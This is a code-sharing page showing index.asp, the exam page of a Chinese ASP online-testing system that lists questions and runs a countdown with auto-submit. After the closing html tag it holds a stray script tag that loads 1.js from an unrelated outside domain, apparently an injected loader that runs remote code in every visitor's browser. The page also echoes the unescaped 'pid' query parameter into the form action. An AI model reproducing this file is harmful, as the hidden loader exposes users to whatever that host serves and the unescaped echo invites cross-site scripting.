📄 index.asp

📁 通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

💻 ASP

字号:

<!--#include file="isUser.asp"-->
<!--#include file="class/EPaper.asp"-->
<!--#include file="class/EPaperList.asp"-->
<!--#include file="class/EQuestion.asp"-->
<html>
<head>
<title>试卷信息</title>
<link href=style.css rel=STYLESHEET type=text/css>
<Script language="javascript">
var sec=0;
var min=0;
var hou=0;
flag=0;
idt=window.setTimeout("update();",1000);
function update(){
  sec++;
  if(sec==60){
    sec=0;
	min+=1;}
  if(min==60){
    min=0;
	hou+=1;}
  if(hou==1&&min==50&&flag==0){
    window.alert("离考试结束只有10分钟，请尽快提交试卷！");
    flag=1;}
  if(hou==2&&flag==1){
    window.alert("您考试已经结束，系统将自动提交试卷！");
    flag=0;}
  if(hou==2&&flag==0){
    //自动提交试卷
    form.submit();
  }
  document.forms.input1.value=hou+"时"+min+"分"+sec+"秒";
  idt=window.setTimeout("update();",1000);
}
</script>
</head>
<body>
<%'读取试卷名称
  Set pa = New EPaper
  pid = Request.QueryString("pid")
  pa.GetPaperInfo(pid)
  pname = pa.rs("PName")
  lid = pa.rs("Lid")
  '读取用户信息
  uname = Session("UserName")
  usr.GetUserInfo(uname)
%>
<form name="forms" action="PaperSubmit.asp?pid=<%=pid%>" method="post">
	<p align="center"><font size=5 color=red><b><%=pname%></b></font>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
	考试时间：<input type=text name=input1 size=20></p>
	<div align=center><p>
	<p align=right><b>姓名：<%=usr.rs("RealName")%>&nbsp;&nbsp;&nbsp;&nbsp;
	班级：<%=usr.rs("UserClass")%></b></p>
        <table border="0" width="100%" cellspacing="1" align="center">
<%'读取试卷所有试题，并按类型显示
  Set ls = New EPaperList
  Set ls1 = New EPaperList
  Set eq = New EQuestion
  n = 0
  m = 0
  '读取试卷包含的试题类型信息
  ls.GetTypeList(pid)
  DO WHILE NOT ls.rs.EOF
    n = n + 1
    tid = ls.rs("TId")
    '计算该类型题目数量
    cnt = eq.GetCount(tid,lid)
%><tr><td colspan=2><font size=4><%=n%>、<%=ls.rs("TName")%>
    (共<%=cnt%>题，每题<%=ls.rs("TValue")%>分)</font></td></tr>
<%  '读取该类型下试题
    ls1.GetDetail pid,tid
    Do While Not ls1.rs.EOF
      m = m + 1
	  '设置文本框名称
	  txtname = "txt_" & ls1.rs("qid")
      '读取试题信息
%>
   <tr>
    <td colspan=2>&nbsp; <font size=3><%=m%>)&nbsp;<%=ls1.rs("QTitle")%></font></td>
  </tr>
  <tr>    
    <td width="50%">&nbsp;&nbsp;&nbsp;<font size=2>(A)&nbsp;<%=ls1.rs("A")%></font></td>
    <td width="50%">&nbsp;&nbsp;&nbsp;<font size=2>(B)&nbsp;<%=ls1.rs("B")%></font></td>
  </tr>
  <tr>
    <td>&nbsp;&nbsp;&nbsp;<font size=2>(C)&nbsp;<%=ls1.rs("C")%></font></td>
    <td>&nbsp;&nbsp;&nbsp;<font size=2>(D)&nbsp;<%=ls1.rs("D")%></font></td>
  </tr>
  <tr>
    <td colspan=2><font color=blue><b>请输入答案：&nbsp;
    <textarea rows="2" name="<%=txtname%>" cols="80"></textarea></b></font></td>
  </tr>
<%    ls1.rs.MoveNext
    Loop
    ls.rs.MoveNext
  Loop%>
</table>
<p align=center>
<input type="submit" name="ok" value=" 提交试卷 "></p>
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>

💿 文件大小 60 K

👤 上传用户 mmmmmmmmmxxx

📂 所属分类教育系统应用

⌨️ 快捷键说明

复制代码 Ctrl + C

搜索代码 Ctrl + F

全屏模式 F11

切换主题 Ctrl + Shift + D

显示快捷键 ?

增大字号 Ctrl + =

减小字号 Ctrl + -